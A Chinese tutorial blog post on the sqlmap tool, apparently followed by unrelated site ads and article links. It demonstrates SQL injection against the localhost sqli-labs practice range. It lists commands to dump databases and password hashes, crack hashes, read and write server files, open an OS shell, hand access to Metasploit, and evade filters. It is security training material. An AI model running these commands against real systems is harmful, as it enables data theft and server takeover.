[工具使用]SqlMap(上)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: [工具使用]SqlMap

[工具使用]SqlMap


本文采用实例:sqli-labs靶场

SqlMap

一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:


1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

常用指令

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -d "mysql://root:root@127.0.0.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

burp和sqlmap联动:

文章最后一个标签

探测目标网站是否存在注入

1、不需要登陆的站点

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"  #探测该url是否存在漏洞

我们可以看到sqlmap和我们存在交互,大家需要根据工具提示选择不同的扫描方式

image.png

sqlmap会告知我们目标网站存在的注入类型、脚本语言及版本、数据库类型及版本、中间件等相关信息。

image.png

扫描最后会告知我们探测数据的保存路径

image.png

2、需要登陆的站点

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

3、需要Post提交数据的url

sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

查询数据库users

sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users

image.png

查询数据库passwords

sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords

当我们跑密码的时候,sqlmap和我们会有两条左右交互

第一处:询问我们是否保存hash值 Y/N

第二处:询问我们是否对hash值进行爆破 Y/N/Q

第三处:询问我们是否要使用通用密码后缀? Y/N

image.png

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
SQL
研究下sqlmap跑出注入但是跑不出库类型该怎么办呢?
夏事非吾愿 人间已立秋 长风起落木 青野漫离愁 恍恍惚惚经历了一个悲伤の夏
1460 0
研究下sqlmap跑出注入但是跑不出库类型该怎么办呢?
|
8月前
|
机器学习/深度学习 自然语言处理 算法
AI 世界生存手册(一):从LR到DeepSeek,模型慢慢变大了,也变强了
大家都可以通过写 prompt 来和大模型对话,那大模型之前的算法是怎样的,算法世界经过了哪些比较关键的发展,最后为什么是大模型这条路线走向了 AGI,作者用两篇文章共5.7万字详细探索一下。
AI 世界生存手册(一):从LR到DeepSeek,模型慢慢变大了,也变强了
|
6月前
|
人工智能 文字识别 自然语言处理
三分钟搞定图片识别+翻译+地图定位,通义灵码 2.5 真的太猛了
在本次体验中,我通过通义灵码 2.5 实测其全新集成的 3000+ MCP 工具能力,展示了如何仅凭一句自然语言指令,就能快速完成 OCR、翻译、地图等多个常用服务的调用与组合。通义灵码不仅自动匹配合适工具,还能生成完整调用代码,省去繁琐的 SDK 集成和文档查阅过程,大幅提升开发效率。这次升级让 AI 编程助手真正具备了“工具理解 + 代码落地”的能力,是开发流程的一次深度革新。
529 7
|
9月前
|
人工智能 Rust PyTorch
Hibiki:实时语音翻译模型打破语言交流障碍!支持将语音实时翻译成其他语言的语音或文本
Hibiki 是由 Kyutai Labs 开发的实时语音翻译模型,能够将一种语言的语音实时翻译成另一种语言的语音或文本,支持高保真度和低延迟。
1072 18
Hibiki:实时语音翻译模型打破语言交流障碍!支持将语音实时翻译成其他语言的语音或文本
|
Python
Python计算误码率,输入是0-1比特流矩阵和小数矩阵
本文提供了一个Python函数calculate_ber,用于计算两个NumPy矩阵表示的二进制信号和接收信号之间的误码率(BER),其中包括信号与接收信号的比较、误差计数以及BER的计算过程,并给出了具体的使用示例。
262 2
|
10月前
|
存储 数据挖掘 数据处理
Pandas高级数据处理:性能优化技巧
Pandas 是 Python 数据分析的强大工具,但在处理大规模数据集时可能遇到性能瓶颈。本文介绍常见性能问题及优化方法,包括数据加载(分块读取、选择必要列、指定数据类型)、筛选过滤(避免链式索引、优化布尔索引)、聚合分组(使用 `transform`、减少列)等,并提供代码案例。同时,针对内存溢出、数据类型不匹配和索引冲突等常见报错,给出解决方案。通过这些优化措施,提升 Pandas 数据处理的效率和稳定性。
524 14
|
智能硬件 计算机视觉 网络协议
基于树莓派4B的智能家居系统设计-2
基于树莓派4B的智能家居系统设计
基于树莓派4B的智能家居系统设计-2
|
10月前
|
人工智能 自然语言处理 搜索推荐
“AI拜年”火遍朋友圈,营销的终局是拼技术
2025年春节前夕,AI拜年成为新潮流。百度通过“春节祝福语”活动,利用文心大模型4.0 Turbo生成个性化拜年贺卡,用户只需上传照片和输入文案,即可获得高度逼真的定制贺卡。这项技术凭借iRAG(检索增强生成)实现了高精度图像生成,避免了常见的“AI味儿”,使AI生成的内容既真实又富有文化内涵,为普通用户带来了专业级的创作体验,也为图像生成的产业化落地铺平了道路。
482 9
|
弹性计算 缓存 数据挖掘
阿里云服务器经济型e和通用算力型u1实例区别及选择参考
在阿里云目前的活动中,经济型e和通用算力型u1实例是两个比较热门的云服务器实例规格,收费标准相对其他计算型、通用型和内存型实例来说要更低一些,经济型e实例ECS云服务器2核2G3M带宽新购和续费都是99元1年,通用算力型u1实例2核4G5M带宽新购和续费都只要199元1年、4核8G云服务器955.58元1年。有的新手用户并不清楚他们之间的区别及如何选择,本文将介绍阿里云服务器中的经济型e实例和通用算力型u1实例的特点、区别以及新手选择参考。